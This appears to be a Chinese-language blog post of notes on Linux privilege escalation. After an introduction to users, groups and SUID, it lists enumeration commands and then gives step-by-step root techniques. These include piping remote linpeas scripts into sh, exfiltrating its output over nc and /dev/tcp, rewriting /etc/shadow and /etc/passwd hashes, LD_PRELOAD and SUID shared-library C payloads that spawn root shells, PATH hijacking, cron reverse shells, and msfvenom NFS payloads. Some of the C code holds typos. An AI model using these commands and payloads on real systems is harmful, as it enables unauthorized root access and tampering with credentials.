Linux中提权的最终目标是获得root用户权限
1.用户、组、文件、目录关系
1 2
| kali用户可以在多个组,一个组可以用kali、root等用户 每个文件、目录都可以根据用户、组来定义权限
|
1 2 3 4
| 对于用户,配置文件在/etc/passwd 用户密码哈希存储在/etc/shadow uid是识别用户的根本特征,root是一类uid=0的用户而不是单个用户 每个用户有3个用户id(real、effective、saved)用户的真实ID是/etc/passwd中定义的ID 但是作为另一个用户执行一个进程时,有效id被设置为该用户的真实身份,在大多数访问控制决策中,有效ID用于验证用户,就像这里swq的id和组
|

1 2
| 组配置在/etc/group。用户有一个主要组,并且可以有multiple二级组 默认情况下,用户的主要组和用户账户名称相同
|
1 2 3 4
| 对于文件和目录来说,他们都有一个所有者和一个组,系统定义他们的所有者对他们具有r、w、x操作 同时系统还定义了组、其他用户对他们的权限,ls -l可以查看 “-” 表示普通文件,如.txt,.c,*.h “d” 表示目录,directory “l” 表示软链接文件(ln -s 创建的),link file “p” 表示pipe管道文件 “b” 表示块设备文件,block device “c” 表示字符设备文件,char device “s” 表示socket套接字文件,用于实现两个进程间通信 [rwx][r-x][r-x]分别代表(所有者、组、其他)权限
|

1 2 3
| 对于权限,rwx不再赘述,应该重点关注setuid(SUID)bit以及setgid(SGID)bit SUID:文件以所有者的权限执行 设置在文件上时,文件将使用文件组的权限执行。设置在目录上时,该目录内创建的文件将继承目录本身的组。
|
1 2 3
| 当前进程(shell) cat /proc/$$/status | grep "[UG]id" 目的是获取当前正在运行的 shell 进程的用户标识(UID)和组标识(GID)信息
|
2.提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| 对于信息收集 whoami id id+其他用户 who w last uname -a uname -r cat /proc/version cat /etc/issue cat /etc/redhat-releas cat /etc/*-release ip addr ip route ip neigh arp -a hostname hostnamectl sudo -l getcap -r / 2>/dev/null ls -a history cat /etc/passwd cat /etc/crontab echo $PATH env ps -ef ps axjf ps aux top top -n 1 netstat -a netstat -at/-au netstat -l netstat -ano find / -perm -u=s -type f 2>/dev/null which awk perl python ruby gcc vi vim nmap find screen 2>/dev/null cat /etc/fstab 也可以通过自动化脚本,但是容易被主机安全设备发现 PEASS-ng
执行:
1.可以下载本地执行 curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh | sh 2.如果是二层内网渗透可以在跳板机下载wget https://github.com/carlospolop/PEASS-ng/releases/download/20230924-10138da9/linpeas.sh 跳板机以root开启端口sudo python3 -m http.server 80,(sudo php -s 0:80) 跳板机用nc监听81端口并把收到的流量保存起来sudo nc -lvnp 81 | tee linpeas.txt 二层内网机器对跳板机进行curl 192.168.178.141/linpeas.sh | sh | nc 192.168.178.141 81 这样方便把扫描结果拿回攻击机方便查看less -r linpeas.txt 补充:cat命令下操作 跳板机:sudo nc -lvnp 80 < linpeas.sh 二层内网机器:cat < /dev/tcp/192.168.178.141/80 | sh
|
1 2 3 4
| 服务漏洞mysql-UDF(User Define Function)提权 UDF是mysql的一个拓展接口能让管理者自定义一些函数来使用。 searchsploit mysql udf 会有相关文档,直接按照文件里说的进行操作即可,建议在本地环境进行静态编译预防二层系统闭网且缺乏组件
|
1 2 3
| 可读shadow文件利用 查看有hash值的用户cat /etc/shadow | grep ':$' hash-identifier识别加密方法
|

1 2
| 现在知道加密方法,我们把123456加密一下放到shadow里,在此之前备份一下shadow文件cp /etc/shadow /tmp/shadow.txt mkpasswd -m sha-512 123456 写入shadow里,就能用123456登录了
|
1 2
| 对于passwd文件的利用 我们知道shadow里的hash密码在passwd里是以x存在,那么我们可以通过openssl passwd 123456替换root的x就能更改root密码
|
1 2
| sudo环境变量提权是最常用的,也是实战里最少出现的 sudo -l 有env_reset 和env_keep俩选项说明是可以提权的
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 创建一个C语言文件vim shell.c #include<stdio.h> #include<sys/types.h> #include<stdlib.h> void _init(){ unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } 在这里使用的共享库要用共享库来编译 gcc -fPIC -shared -o shell.so -nostartfile 然后通过共享库使用sudo中无密码使用的find等工具,完成提权 sudo LD_PRELOAD=shell.so find
|
1 2 3 4
| 自动任务提权实战里也很少见 cat /etc/crontab如果有root执行的类似day.sh文件用local day.sh查看位置 用ls -liah /day.sh查看内容、权限,如果可写,就写入反弹shell,等待
|
1 2 3 4
| 自动任务PATH环境变量提权 这里有2个前提 1.crontab只会执行crontab中的路径集 2.path有家目录,会优先运行家目录优先级靠前的文件
|

1 2 3 4 5
| 向overwrite.sh写入执行脚本
cp /bin/bash /tmp/rootbash chmod +xs /tmp/rootbash 等一会/tmp/rootbash -p就拿到权限了
|
1 2
| suid可执行文件已知利用提权 find / -perm -u=s -type f 2>/dev/null 查找并列出所有设置"setuid"权限的文件,这里关注exim-4.84.3
|

1 2
| searchsploit exim,用这个39535,根据文件操作即可 还有一个网站exploit-db.com相同的功能
|

1 2 3 4
| SUID共享库注入提权 直接执行可执行文件suid-so /usr/local/bin/suid-so 直接strings /usr/local/bin/suid-so
|

1
| 对strings进行追踪,发现没有目录,那就创建文件strace /usr/local/bin/suid-so 2>&1 | grep '/home'
|
1 2 3 4 5 6 7 8 9 10
| 写个libcalc.c #include<stdio.h> #include<stdblib.h> statuc void inject() __attribute__((constructor)); void inject(){ setgid(0); setuid(0); system("/bin/bash -p"); } 执行共享库gcc -shared -fPIC -o libcalc.so libcalc.c然后执行可执行文件
|
1 2 3
| SUID环境变量利用提权 find / -perm -u=s -type f 2>/dev/null 利用suid-env进行提权
|

1 2
| strings /usr/local/bin/suid-env 查看看到最后是相对路径,并不是绝对路径,可以对其进行劫持,使其执行我们提供的相对路径的service文件
|

1 2 3 4 5 6 7 8 9 10 11 12
| vim service.c #include<stdio.h> #include<stdlib.h> void main(){ setgid(0); setuid(0); system("/bin/bash -p"); } gcc -o service service.c 要对路径进行指定,这样就可以优先读取家目录下的service服务 export PATH=.:$PATH /usr/local/bin/suid-env
|

1 2
| 巧用SUID-SHELL功能提权#1 在bash版本号小于4.2时,可以在bash中定义函数,然后用路径的组合做文件名,所以正好契合上面service的利用方式
|

1 2 3
| function /usr/sbin/service { /bin/bash -p; } 最后导入环境变量 export -f /usr/sbin/service
|


1
| cat ~/.*history | les 查看history相关文件
|

1
| ls -liah查看特殊文件,比如.viminfo
|

1 2
| 密码和密钥配置文件的查看特权 家目录先的所有文件都要翻翻看看 比如myvpn.ovpn
|
1 2
| SSH密钥敏感信息提权 到根目录下查找.ssh文件,这个很重要因为不仅高权限用户可以登录ssh,低权限用户也可以登录到.ssh文件下发现root_key
|

1
| 复制key,对文本加权尝试连接 发现签名不对,就直接加
|

1 2 3 4 5
| NFS提权 NFS文件共享的意思,网络文件共享,可以用于撕口子也可以用于提权 cat /etc/exports 查看是否有NFS服务 建立NFS,反弹shell mount -o rw,vers=3 10.10.10.12:/tmp /tmp/nfs 注意这里版本为3.发现要创建软连接
|


1 2 3
| 用msf生成shell msfvenom -p linux/x86/exec CMD="/bin/bash-p" -f elf -o /tmp/nfs/shell.elf 然后给文件权限 到俩台主机的共享文件下运行shell文件
|

1 2 3 4
| 内核利用提权 一般渗透最后办法了在利用内核提权,很需要经验 uname -a查看内核,版本越低漏洞越多 然后同上linpeass的使用(不能访问外网) 借助searchsploit即可
|
1 2 3
| doas less+vi 提权 find / -group user -type f 2>/dev/null 查看可利用文件 find / -perm -u=s -type f 2>/dev/null
|


1 2
| less /etc/doas.conf ESC+:!sh即可执行doas里var权限
|
1 2
| 利用MOTD机制提权 查看motd文件 cd /etc/update-motd.d 里面有00-header文件是欢迎文件,一般等用户登录上就会直接执行
|


Slogan:
Do you believe in DESTINY?